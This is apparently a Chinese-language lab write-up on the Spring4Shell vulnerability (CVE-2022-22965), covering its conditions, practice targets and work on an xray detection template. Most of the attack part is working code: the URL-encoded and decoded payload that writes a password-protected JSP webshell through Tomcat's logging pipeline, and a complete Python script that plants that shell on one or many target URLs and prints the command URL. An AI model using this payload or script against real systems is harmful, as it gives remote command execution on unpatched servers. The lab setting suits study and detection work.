spring4shell (CVE-2022-22965)xray poc编写

spring4shell和log4shell的相同点,它们都是rce

不同点在于,spring4shell影响spring的框架,log4shell影响基于java的框架

  1. 首先确定使用的中间件是apache tomcat
  2. http://demo.ine.local/%2f 发现访问结果是400 bad request
  3. 通过tomcat的版本,搜索tomcat/9.0.59 java version,可以找出使用的java版本,漏洞需要java8之后的版本

漏洞利用条件

JDK9及其以上版本;
使⽤了Spring-beans包;
使⽤了Spring参数绑定;
Spring参数绑定使⽤的是⾮基本参数类型,例如⼀般的POJO即可;

漏洞原理是什么

修改tomcat日志,利用日志写shell

实验一 ine靶机

image-20220531112238716

使用的exp地址

https://raw.githubusercontent.com/reznok/Spring4Shell-POC/master/exploit.py

实验二 vulhub靶机

cd /pentest/target/vulhub/spring/CVE-2022-22965

docker-compose up -d

http://192.168.18.30:8080/?name=Bob&age=25

image-20220531124830300

实验三 vulfocus

docker run -d -p 8082:8080 –name springrce -it vulfocus/spring-core-rce-2022-03-29

image-20220531142234240

git clone https://github.com/TheGejr/SpringShell

python3 exp.py –url http://localhost:8082

image-20220531200244587

分析exp,最关键的payload是这一段

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

---
url解码后得到如下

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

---
将上一段分割一下,&是连接语句的符号

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i

&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp

&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT

&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar

&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

Spring参数绑定不过多介绍,可⾃⾏百度;其基本使⽤⽅式就是利⽤ . 的形式,给参数进⾏赋值,实际赋值过程,会使⽤反射调⽤参数的 getter or setter ;
---
上一段里面有几个参数赋值
%{c2} 指的是 <%
%{suffix} 指的是 %>//
%{c1} 指的是 Runtime
那么上一段可以做一个替换

class.module.classLoader.resources.context.parent.pipeline.first.pattern=
<%i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %>//i

&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp

&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT

&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar

&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

因此变成了jsp一句话,接受参数pwd和cmd
类型是.jsp
文件名是tomcatwar

测试exp CVE-2022-22965_exploit.py

https://github.com/cybersecurityworks553/spring4shell-exploit

image-20220531131145905

靶机是存在漏洞的,但是这个脚本没有检测出来

测试exp 2

image-20220531135224548

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
#-*- coding: utf-8 -*-
from operator import ge
import os
import argparse
import time
from rich import console
from rich.console import Console
console = Console()
from pyfiglet import Figlet
import multiprocessing
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
import datetime
import calendar

def Exploit(url):
if url[:4] != 'http':
url = 'http://' + url
if url[-1] != '/':
url += '/'
headers = {
"suffix":"%>//",
"c1":"Runtime",
"c2":"<%",
"DNT":"1",
"Content-Type":"application/x-www-form-urlencoded"
}

now = datetime.datetime.now()
now_time = now.strftime("%Y-%m-%d %H:%M:%S")
# print(now_time)
data = "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%24%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar1234&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="+now_time
# print(data)
try:
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
response = requests.post(url=url,data=data, headers=headers, verify=False, timeout=10)
shellurl = url + 'tomcatwar1234'+now_time+'.jsp'
header = {
"Content-Type": "application/x-www-form-urlencoded"
}
response_shell = requests.get(url=shellurl,headers=header,verify=False,timeout=10)
if response.status_code == 200:
print(f"正在写入shell!!!!!")
if response_shell.status_code == 200:
print(f"漏洞存在,shell地址为:{shellurl}?pwd=j&cmd=whoami")
else:
print(f"shell访问失败或者shell写入失败!!!")
else:
print(f"地址{url}不存在该漏洞!!")
except Exception as e:
print(e)
pass

def Exploit_get(url):
if url[:4] != 'http':
url = 'http://' + url
if url[-1] != '/':
url += '/'
headers = {
"suffix":"%>//",
"c1":"Runtime",
"c2":"<%",
"DNT":"1",
"Content-Type":"application/x-www-form-urlencoded"
}
now = datetime.datetime.now()
#now_time = now.strftime("%Y-%m-%d %H:%M:%S")
# print(now_time)
data = "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar1234&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="
# print(data)
get_url = url+"?"+data
try:
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
requests_get = requests.get(url=get_url,headers=headers,verify=False,timeout=10)
shellurl = url + 'tomcatwar1234.jsp'
header = {
"Content-Type": "application/x-www-form-urlencoded"
}
response_shell = requests.get(url=shellurl,headers=header,verify=False,timeout=10)
if requests_get.status_code == 200:
print(f"正在写入shell!!!!!")
if response_shell.status_code == 200:
print(f"漏洞存在,shell地址为:{shellurl}?pwd=j&cmd=whoami")
else:
print(f"shell访问失败或者shell写入失败!!!")
else:
print(f"地址{url}不存在该漏洞!!")

except Exception as e:
print(e)
pass

def main():
console.print(Figlet(font='smslant',width=200).renderText('Spring_Core_RCE'), style='bold yellow')

try:
parser = argparse.ArgumentParser()
parser.add_argument('-u','--url',dest='url',help='Target_url')
parser.add_argument('-f','--file',dest='file',help='Target_file')
args = parser.parse_args()
if args.file:
with open(args.file) as f:
for i in f.readlines():
i=i.strip()
time.sleep(1)
print(f'\033[1;35;47mPOST请求开始getshell\033[0m')
Exploit(i)
time.sleep(2)
print(f'\033[1;35;47mGET请求开始getshell\033[0m')
Exploit_get(i)
print('\n')
print('\n')
elif args.url:
print(f'\033[1;35;47mPOST请求开始getshell\033[0m')
Exploit(args.url)
time.sleep(2)
print(f'\033[1;35;47mGET请求开始getshell\033[0m')
Exploit_get(args.url)
print('\n')
else:
console.print('缺少URL目标, 请使用 [-u URL] or [-f FILE]')
except KeyboardInterrupt:
console.print('\nCTRL+C 退出', style='reverse bold red')

if __name__ == '__main__':
main()

总结

根据以上的资料编写了poc,但是xray出现了一个bug

[ERRO] 2022-05-31 22:29:11 [controller:runner.go:79] recover panic: poc-yaml-CVE-2022-22965-spring-core-RCEruntime error: invalid memory address or nil pointer dereference

这个暂时没办法解决

然后poc跑第一次,xray不报告漏洞,poc跑第二次报告漏洞。

也暂时没办法解决

参考资料